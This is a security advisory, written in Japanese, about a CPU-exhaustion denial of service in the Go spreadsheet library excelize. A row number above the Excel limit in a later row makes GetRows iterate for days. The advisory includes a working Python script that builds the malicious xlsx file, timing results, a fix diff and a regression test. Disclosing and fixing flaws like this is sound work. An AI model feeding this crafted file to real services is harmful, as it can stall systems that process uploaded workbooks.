Excelize: `Rows.Columns`における行番号の制限がない場合、`GetRows`関数や`Rows`イテレータが数日間処理を続ける
### 概要
`<row r="...">`の数値がExcelの1,048,576行の制限を大幅に超えるワークシートの場合、`File.GetRows`関数と`Rows`イテレータは、存在しない行ごとに一度ずつ処理を行います。行数の制限は`Rows.Next`でチェックされますが、`<row>`要素も読み込む`Rows.Columns`ではチェックされません。通常の最初の行の後に`<row r="231999999999940">`を含む1.5KBのファイルは、`GetRows`関数を約11日間(1行あたり約4ナノ秒)処理し続け、1つのCPUコアとわずかなメモリを使用します。`GetRows`関数または`Rows`イテレータを呼び出すサービスは、アップロードされたワークブックに対して単一のリクエストによって処理が停止する可能性があります。
### 詳細
`Rows.Next`は行番号をチェックします。
```go
rowNum, _ := attrValToInt("r", xmlElement.Attr)
if rowNum > TotalRows {
rows.err = ErrMaxRows
return false
}
```
しかし、`Rows.Columns`は、次の`<row>`要素に到達するまでトークンを消費して現在の行のセルを読み込み、その要素の`r`属性から`rows.curRow`を設定しますが、この際、チェックは行われません(rows.go、約179行目、3985c1f)。
```go
if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
rows.curRow = rowNum
}
```
その後、`rows.curRow`は231999999999940となり、以降の`Next()`呼び出しは`rows.curRow >= rows.seekRow`という条件で`true`を返し、XMLの読み込みを行いません。`GetRows`関数は、その後、`Next()`関数と`Columns()`関数を、2から231999999999940までの各行番号に対して一度ずつ呼び出します。`Next()`関数のチェックは、サイズが大きすぎる`<row>`要素がすでに`Columns()`関数によって処理されているため、実行されません。
サイズが大きすぎる行が*最初の*行である場合、`Next()`関数はその行を読み込み、既存のチェックは機能します。`TestGetRows`は、このケースのみをカバーしています。このバグを再現するには、有効な行が最初に必要です。
### 実証コード
このスクリプトは、Python標準ライブラリのみを使用し、1.5KBのワークブックを作成します。
```python
import zipfile
parts = {
"[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
"_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
"xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',
"xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
"xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>',
}
with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
for name, xml in parts.items():
z.writestr(name, xml)
```
```go
f, _ := excelize.OpenFile("poc.xlsx")
rows, err := f.GetRows("Sheet1") // 戻り値なし
```
v2.11.0 (linux/amd64) で測定した結果、同じファイル形式で、行数が20億の場合に8.3秒、42億9496万7297の場合に17.5秒かかり、231兆9999億9999万940の場合には15分以内に完了しませんでした。これは線形的な関係にあるため、約11日かかります。最大メモリ使用量は約10MBのままです。
同様のパターンは、Apache POIの公開テストデータにある `clusterfuzz-testcase-minimized-POIXSSFFuzzer-5937385319563264.xlsx` にも存在します(そのファイル内の `sheet8.xml` に `<row r="231999999999940">` という記述があります)。これは、`xlsx-lean` (https://github.com/keithadler/xlsx-lean) を使用した差分テストの一環として、`excelize` を Apache POI のテストファイルに適用した際に発見されました。
### 提案される修正
`Columns()` 関数にも同じ制限を設け、`Next()` 関数がエラーを記録したらすぐに停止するようにします。この変更により、上記の2つのファイルはどちらもすぐに `ErrMaxRows` エラーを返します。`go test ./...` は問題なく実行されます(約130秒)。新しいテストケースは、この変更がないとハングしますが、変更を加えると0.015秒で完了します。
```diff
--- a/rows.go
+++ b/rows.go
@@ -97,6 +97,9 @@ type Rows struct {
// Next は、次の行要素が見つかった場合に true を返します。
func (rows *Rows) Next() bool {
+ if rows.err != nil {
+ return false
+ }
rows.seekRow++
if rows.curRow >= rows.seekRow {
rows.curRowOpts = rows.seekRowOpts
@@ -176,7 +179,10 @@ func (rows *Rows) Columns(opts ...Options) ([]string, error) {
rowIterator.inElement = xmlElement.Name.Local
if rowIterator.inElement == "row" {
rowNum := 0
- if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
+ if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum > TotalRows {
+ rows.err, rows.token = ErrMaxRows, nil
+ return rowIterator.cells, rows.err
+ } else if rowNum != 0 {
rows.curRow = rowNum
} else if rows.token == nil {
rows.curRow++
--- a/rows_test.go
+++ b/rows_test.go
@@ -28,6 +28,18 @@ func TestGetRows(t *testing.T) {
f.checked = sync.Map{}
_, err = f.GetRows("Sheet1")
assert.Equal(t, ErrMaxRows, err)
+ // Test get rows from a file with a row number over the limit after a valid
+ // row, which is read by Rows.Columns rather than Rows.Next: this used to
+ // iterate once per missing row, about 2.3e14 times here
+ f = NewFile()
+ f.Pkg.Store("xl/worksheets/sheet1.xml", fmt.Appendf(nil, `<worksheet xmlns="%s"><sheetData><row r="1"><c><v>1</v></c></row><row r="231999999999940"><c><v>2</v></c></row></sheetData></worksheet>`, NameSpaceSpreadSheet.Value))
+ f.Sheet.Delete("xl/worksheets/sheet1.xml")
+ buf, err := f.WriteToBuffer()
+ assert.NoError(t, err)
+ f, err = OpenReader(buf)
+ assert.NoError(t, err)
+ _, err = f.GetRows("Sheet1")
+ assert.Equal(t, ErrMaxRows, err)
}
func TestRows(t *testing.T) {
```
### 影響
`GetRows` または `Rows` イテレータを使用するアプリケーションにおいて、信頼できないスプレッドシートファイルを読み込むと、サービス拒否(CPU 枯渇)が発生する可能性があります。認証やユーザー操作は不要で、アプリケーションが単にファイルを読み込むだけで問題が発生します。
影響を受けるパッケージ:
- go github.com/xuri/excelize/v2: 影響を受けるバージョンは 2.1.0 以降、2.11.1-0.20260930021559-01a9ff32fb3c 未満。修正は 2.11.1-0.20260930021559-01a9ff32fb3c で行われました。